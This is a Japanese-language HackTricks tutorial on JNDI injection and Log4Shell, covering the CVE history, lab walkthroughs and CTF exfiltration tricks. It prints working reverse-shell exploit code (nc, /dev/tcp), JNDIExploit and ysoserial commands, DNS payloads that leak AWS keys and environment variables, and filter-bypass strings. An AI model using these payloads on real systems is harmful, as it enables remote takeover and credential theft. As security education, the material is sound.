JNDI - Java Naming and Directory Interface & Log4Shell
Reading time: 36 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが命名システムを通じてデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサービスプロバイダインターフェース(SPI)を介してサポートし、リモートJavaオブジェクトを含む異なるシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPがあります。
JNDI命名参照
JavaオブジェクトはJNDI命名参照を使用して保存および取得でき、これには2つの形式があります:
- 参照アドレス:オブジェクトの場所を指定します(例:rmi://server/ref)、指定されたアドレスから直接取得できます。
- リモートファクトリ:リモートファクトリクラスを参照します。アクセスされると、クラスはリモートの場所からダウンロードされ、インスタンス化されます。
しかし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
- RMI:JDK 7u21以降、デフォルトで
java.rmi.server.useCodeabseOnly = true
が設定され、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーは、読み込むことができるものをさらに制限します。 - LDAP:JDK 6u141、7u131、8u121以降、デフォルトで
com.sun.jndi.ldap.object.trustURLCodebase = false
が設定され、リモートで読み込まれたJavaオブジェクトの実行がブロックされます。true
に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。 - CORBA:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
しかし、JNDIリンクを解決する責任を持つNaming Managerは、組み込みのセキュリティメカニズムが欠如しており、任意のソースからオブジェクトを取得できる可能性があります。これは、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、既存のアプリケーションコンポーネント(ガジェット)を悪用して悪意のあるコードを実行するリスクをもたらします。
悪用可能なURLの例には以下が含まれます:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
保護があっても、JNDIを信頼できないソースから読み込むことに対する保護が欠如しているため、脆弱性が残ります。
JNDIの例
**PROVIDER_URL
**を設定していても、ルックアップで異なるものを指定することができ、アクセスされます:ctx.lookup("<attacker-controlled-url>")
、これが攻撃者が彼の制御するシステムから任意のオブジェクトを読み込むために悪用するものです。
CORBAの概要
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、以下のような重要な情報が含まれます:
- タイプID:インターフェースの一意の識別子。
- コードベース:スタブクラスを取得するためのURL。
特に、CORBAは本質的に脆弱ではありません。セキュリティを確保するためには通常、以下が必要です:
- セキュリティマネージャーのインストール。
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは以下を通じて実現できます:
- ソケットの権限、例:
permissions java.net.SocketPermission "*:1098-1099", "connect";
。 - ファイル読み取り権限、普遍的に(
permission java.io.FilePermission "<<ALL FILES>>", "read";
)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
ただし、一部のベンダーポリシーは緩やかで、デフォルトでこれらの接続を許可する場合があります。
RMIコンテキスト
RMI(Remote Method Invocation)については、状況はやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
LDAP
まず、検索とルックアップを区別する必要があります。
検索は、ldap://localhost:389/o=JNDITutorial
のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。
ルックアップは、名前サービスのためのもので、名前にバインドされているものを取得することを目的としています。
LDAP検索がSearchControls.setReturningObjFlag()をtrue
で呼び出された場合、返されたオブジェクトは再構築されます。
したがって、これらのオプションを攻撃する方法はいくつかあります。
攻撃者はLDAPレコードを汚染し、ペイロードを導入することができます。これにより、それらを収集するシステムで実行されます(LDAPサーバーにアクセスできる場合、数十台のマシンを侵害するのに非常に便利です)。この悪用の別の方法は、LDAP検索でMitM攻撃を実行することです。
アプリがJNDI LDAP URLを解決できる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を返すことができます。
デシリアライズエクスプロイト
エクスプロイトはシリアライズされており、デシリアライズされます。
trustURLCodebase
がtrue
の場合、攻撃者はコードベースに自分のクラスを提供できますが、そうでない場合はクラスパス内のガジェットを悪用する必要があります。
JNDI参照エクスプロイト
JavaFactory参照を使用してこのLDAPを攻撃する方が簡単です:
Log4Shell脆弱性
この脆弱性はLog4jに導入されており、特別な構文をサポートしています。この構文は${prefix:name}
の形式で、prefix
はさまざまなルックアップの1つであり、name
は評価されるべきものです。例えば、${java:version}
は現在実行中のJavaのバージョンです。
LOG4J2-313はjndi
ルックアップ機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的にjava:comp/env/
でプレフィックスが付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトのプレフィックスは適用されません。
キーに**:が存在する場合、例えば${jndi:ldap://example.com/a}
ではプレフィックスがなく**、LDAPサーバーがオブジェクトをクエリします。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
したがって、RCEを取得するために必要な唯一のものは、ユーザーによって制御される情報を処理する脆弱なバージョンのLog4jです。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、HTTPヘッダーのような情報をログに記録するためにlog4jが非常に一般的でした。しかし、log4jはHTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます。
Log4Shell関連のCVEの概要
CVE-2021-44228 [Critical]
この脆弱性は、log4j-core
コンポーネントにおける重大な信頼できないデシリアライズの欠陥であり、バージョン2.0-beta9から2.14.1に影響を与えます。これは**リモートコード実行(RCE)**を可能にし、攻撃者がシステムを乗っ取ることを可能にします。この問題はAlibaba Cloud Security TeamのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0での最初の修正は不完全でした。防御のためのSigmaルールが利用可能です(ルール1、ルール2)。
CVE-2021-45046 [Critical]
最初は低評価でしたが、後に重大なものに引き上げられたこのCVEは、CVE-2021-44228の2.15.0での不完全な修正に起因する**サービス拒否(DoS)**の欠陥です。デフォルト以外の構成に影響を与え、攻撃者が巧妙に作成したペイロードを通じてDoS攻撃を引き起こすことを可能にします。ツイートではバイパス方法が紹介されています。この問題は、メッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで、バージョン2.16.0および2.12.2で解決されました。
CVE-2021-4104 [High]
Log4j 1.xバージョンに影響を与え、JMSAppender
を使用している非デフォルト構成のこのCVEは、信頼できないデシリアライズの欠陥です。1.xブランチには修正がなく、サポートが終了しているため、log4j-core 2.17.0
へのアップグレードが推奨されます。
CVE-2021-42550 [Moderate]
この脆弱性は、Log4j 1.xの後継であるLogbackロギングフレームワークに影響を与えます。以前は安全だと考えられていましたが、フレームワークが脆弱であることが判明し、問題に対処するために新しいバージョン(1.3.0-alpha11および1.2.9)がリリースされました。
CVE-2021-45105 [High]
Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するためにlog4j 2.17.0
がリリースされました。詳細はBleepingComputerの報告にあります。
CVE-2021-44832
log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの構成ファイルを制御する必要があります。これは、構成されたJDBCAppenderを介して任意のコード実行の可能性を含みます。詳細はCheckmarxのブログ投稿にあります。
Log4Shellの悪用
発見
この脆弱性は、保護されていない場合、非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくともDNSリクエストを送信するからです。したがって、以下のようなペイロードが考えられます:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(canarytokens.comを使用)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(interactshを使用)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(Burp Suiteを使用)${jndi:ldap://2j4ayo.dnslog.cn}
(dnslogを使用)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(huntressを使用)
DNSリクエストが受信されたからといって、アプリケーションが悪用可能であるとは限らない(または脆弱であるとは限らない)ことに注意してください。悪用を試みる必要があります。
note
バージョン2.15を悪用するには、localhostチェックのバイパスを追加する必要があります:${jndi:ldap://127.0.0.1#...}
ローカル発見
以下のコマンドでローカルの脆弱なバージョンのライブラリを検索します:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
検証
前述のプラットフォームのいくつかは、リクエスト時にログに記録される変数データを挿入することを許可します。
これは2つの目的に非常に役立ちます:
- 脆弱性を検証するため
- 脆弱性を悪用して情報を抽出するため
例えば、次のようなリクエストを行うことができます:
または${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
のように、もし環境変数の値を持つDNSリクエストが受信されれば、アプリケーションが脆弱であることがわかります。
他に漏洩を試みることができる情報:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE情報
note
JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、com.sun.jndi.ldap.object.trustURLCodebase
がデフォルトで無効化されているためで、これによりJNDIはLDAPを介してリモートコードベースをロードできなくなります。ただし、これらのバージョンはデシリアライズ攻撃ベクターに対して保護されていないことに注意することが重要です。
これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で信頼されたガジェットを利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
詳細情報(RMIおよびCORBAベクターの制限など)については、前のJNDI命名リファレンスセクションを確認してくださいまたはhttps://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsecとカスタムペイロード
この内容はTHMボックスでテストできます:https://tryhackme.com/room/solar
ツールmarshalsecを使用します(jarバージョンはこちらで入手可能です)。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
ターゲットにリバースシェルコードを読み込ませるために、以下の内容で Exploit.java
という名前のJavaファイルを作成します:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Javaファイルをクラスファイルにコンパイルするには、次のコマンドを使用します: javac Exploit.java -source 8 -target 8
。次に、クラスファイルを含むディレクトリでHTTPサーバーを起動します: python3 -m http.server
。marshalsec LDAPサーバーがこのHTTPサーバーを参照していることを確認してください。
脆弱なウェブサーバーでエクスプロイトクラスの実行をトリガーするには、次のようなペイロードを送信します:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
注意: このエクスプロイトは、Javaの設定がLDAPを介してリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、任意のコード実行のために信頼されたクラスを利用することを検討してください。
RCE - JNDIExploit
note
何らかの理由で、著者はlog4shellの発見後にこのプロジェクトをgithubから削除しました。キャッシュされたバージョンはhttps://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2で見つけることができますが、著者の決定を尊重したい場合は、この脆弱性を利用するために別の方法を使用してください。
さらに、ウェイバックマシンではソースコードを見つけることができないため、ソースコードを分析するか、実行している内容がわからない状態でjarを実行してください。
この例では、ポート8080でlog4shellに脆弱なウェブサーバーを実行するだけです: https://github.com/christophetd/log4shell-vulnerable-app (READMEには実行方法が記載されています)。この脆弱なアプリは、HTTPリクエストヘッダー_X-Api-Version_の内容を脆弱なバージョンのlog4shellでログに記録しています。
次に、JNDIExploitのjarファイルをダウンロードし、次のコマンドで実行できます:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
コードを数分間読むと、com.feihong.ldap.LdapServer と com.feihong.ldap.HTTPServer で LDAP と HTTP サーバーがどのように作成されるか がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。
com.feihong.ldap.gadgets では、特定のガジェットが見つかり、目的のアクションを実行するために使用できます(任意のコードを実行する可能性があります)。com.feihong.ldap.template では、エクスプロイトを生成するさまざまなテンプレートクラスを見ることができます。
利用可能なすべてのエクスプロイトは java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
で確認できます。いくつかの便利なものは次のとおりです:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
したがって、私たちの例では、すでにその脆弱なDockerアプリが実行されています。それを攻撃するには:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
攻撃を送信すると、JNDIExploit-1.2-SNAPSHOT.jarを実行したターミナルに出力が表示されます。
他のエクスプロイトオプションについては、java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
を確認することを忘れないでください。さらに、必要に応じてLDAPおよびHTTPサーバーのポートを変更できます。
RCE - JNDI-Exploit-Kit
前のエクスプロイトと同様に、JNDI-Exploit-Kitを使用してこの脆弱性を悪用することができます。
被害者に送信するためのURLを生成するには、次のコマンドを実行します:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
この攻撃はカスタム生成されたJavaオブジェクトを使用しており、THMソーラールームのようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないからだと思います。
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus は、動作するJNDIリンクを生成し、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することによってバックグラウンドサービスを提供するための別のツールです。\
RCE - ysoserial & JNDI-Exploit-Kit
このオプションは、特定のクラスのみを信頼するように構成されたJavaバージョンを攻撃するのに非常に便利です。したがって、ysoserialは、任意のコードを実行するためのガジェットとして使用できる信頼されたクラスのシリアル化を生成するために使用されます(ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムによって使用される必要があります)。
ysoserialまたはysoserial-modifiedを使用すると、JNDIによってダウンロードされるデシリアライズエクスプロイトを作成できます:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
JNDI-Exploit-Kitを使用して、脆弱なマシンからの接続を待機するJNDIリンクを生成します。JNDI-Exploit-Kitによって自動的に生成される異なるエクスプロイトや、あなた自身のデシリアライズペイロード(あなた自身またはysoserialによって生成されたもの)を提供することができます。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
これで、生成されたJNDIリンクを使用して脆弱性を悪用し、リバースシェルを取得することが簡単になります。脆弱なバージョンのlog4jに送信するだけです: ${ldap://10.10.14.10:1389/generated}
バイパス
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
自動スキャナー
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - ローカルの脆弱なライブラリを見つける
テスト用ラボ
- LogForge HTBマシン
- Try Hack Me Solarルーム
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shellの悪用
このCTFの解説では、Log4Jのいくつかの機能を悪用することが可能であることがよく説明されています。
Log4jのセキュリティページには興味深い文があります:
バージョン2.16.0(Java 8用)から、メッセージルックアップ機能は完全に削除されました。構成内のルックアップはまだ機能します。さらに、Log4jはデフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップは明示的に有効にする必要があります。
バージョン2.17.0(Java 7およびJava 6用の2.12.3および2.3.1)から、構成内のルックアップ文字列のみが再帰的に展開されます。他の使用法では、最上位のルックアップのみが解決され、ネストされたルックアップは解決されません。
これは、デフォルトでは**jndi
の悪用を忘れることができる**ことを意味します。さらに、再帰的ルックアップを実行するには、それらを構成する必要があります。
例えば、このCTFでは、log4j2.xmlファイルでこれが構成されていました:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
環境変数の検索
この CTF では、攻撃者は ${sys:cmd}
の値を制御し、環境変数からフラグを抽出する必要がありました。
このページで見られる 以前のペイロード では、${env:FLAG}
のように環境変数にアクセスするいくつかの方法があります。このCTFでは無駄でしたが、他の実際のシナリオでは無駄ではないかもしれません。
例外における抽出
CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリケーションに印刷されました。これは、例外をトリガーすることで内容にアクセスできることを意味しました。フラグを抽出するための例外は次のとおりです: ${java:${env:FLAG}}
。これは、${java:CTF{blahblah}}
が存在しないため機能し、フラグの値を持つ例外が表示されます:
変換パターンの例外
念のために言及すると、新しい 変換パターン を注入し、stdout
に記録される例外をトリガーすることもできます。例えば:
これは、エラーメッセージ内の日付を抽出するのには役立ちませんでした。なぜなら、変換パターンの前に検索が解決されなかったからですが、検出などの他のことには役立つかもしれません。
変換パターンの正規表現
ただし、正規表現をサポートするいくつかの変換パターンを使用して、正規表現を使用し、二分探索または時間ベースの動作を悪用して、検索から情報を抽出することが可能です。
- 例外メッセージによる二分探索
変換パターン %replace
は、正規表現を使用して文字列の内容を置き換えるために使用できます。動作は次のようになります: replace{pattern}{regex}{substitution}
この動作を悪用することで、正規表現が文字列内の何かに一致した場合に例外をトリガーし(見つからなかった場合は例外なし)、次のようにすることができます:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- 時間ベース
前のセクションで述べたように、%replace
はregexesをサポートしています。したがって、フラグが見つかった場合にタイムアウトを引き起こすために、ReDoSページからペイロードを使用することが可能です。
例えば、%replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
のようなペイロードは、そのCTFでタイムアウトを引き起こします。
この書き込みでは、ReDoS攻撃の代わりに増幅攻撃を使用して応答の時間差を引き起こしました:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
フラグが
flagGuess
で始まる場合、全体のフラグは29個の#
に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。結果として得られた29個の#
は54個の#
に置き換えられます。このプロセスは6回繰り返され、合計で29*54*54^6* =`` ``
96816014208
#
が生成されます!これほど多くの
#
を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグがflagGuess
で始まらない場合、500以外のステータスコードが返されます)
参考文献
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。